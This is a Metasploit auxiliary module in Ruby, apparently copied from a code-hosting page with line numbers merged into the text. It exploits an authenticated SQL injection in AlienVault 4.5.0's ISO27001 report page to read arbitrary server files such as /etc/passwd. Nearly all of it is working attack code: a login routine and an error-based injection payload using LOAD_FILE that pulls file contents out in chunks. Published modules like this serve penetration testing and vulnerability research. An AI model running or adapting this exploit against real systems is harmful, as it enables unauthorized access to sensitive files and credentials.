Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/alienvault_iso27001_sqli.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info={})9super(update_info(info,10'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",11'Description' => %q{12AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG13generation PHP file. This module exploits this to read an arbitrary file from14the file system. Any authenticated user is able to exploit it, as administrator15privileges aren't required.16},17'License' => MSF_LICENSE,18'Author' =>19[20'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module21],22'References' =>23[24['EDB', '32644']25],26'DefaultOptions' =>27{28'SSL' => true29},30'Platform' => ['linux'],31'Privileged' => false,32'DisclosureDate' => '2014-03-30'))3334register_options(35[36Opt::RPORT(443),37OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),38OptString.new('USERNAME', [ true, 'Single username' ]),39OptString.new('PASSWORD', [ true, 'Single password' ]),40OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])41])4243end4445def run4647print_status("Get a valid session cookie...")48res = send_request_cgi({49'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')50})5152unless res and res.code == 20053print_error("Server did not respond in an expected way")54return55end5657cookie = res.get_cookies5859if cookie.blank?60print_error("Could not retrieve a cookie")61return62end6364post = {65'embed' => '',66'bookmark_string' => '',67'user' => datastore['USERNAME'],68'passu' => datastore['PASSWORD'],69'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])70}7172print_status("Login...")7374res = send_request_cgi({75'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),76'method' => 'POST',77'vars_post' => post,78'cookie' => cookie79})8081unless res and res.code == 30282print_error("Server did not respond in an expected way")83return84end8586unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')87print_error("Authentication failed")88return89end9091cookie = res.get_cookies9293if cookie.blank?94print_error("Could not retrieve the authenticated cookie")95return96end9798i = 099full = ''100filename = datastore['FILEPATH'].unpack("H*")[0]101left_marker = Rex::Text.rand_text_alpha(6)102right_marker = Rex::Text.rand_text_alpha(6)103104print_status("Exploiting SQLi...")105106loop do107file = sqli(left_marker, right_marker, i, cookie, filename)108return if file.nil?109break if file.empty?110111str = [file].pack("H*")112full << str113vprint_status(str)114115i = i+1116end117118path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])119print_good("File stored at path: " + path)120end121122def sqli(left_marker, right_marker, i, cookie, filename)123pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"124pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"125pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"126pay << " GROUP BY x)a) AND 'xnDa'='xnDa"127128get = {129'date_from' => pay,130'date_to' => '2014-03-30'131}132133res = send_request_cgi({134'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),135'cookie' => cookie,136'vars_get' => get137})138139if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/140return $1141else142print_error("Server did not respond in an expected way")143return nil144end145end146end147148149150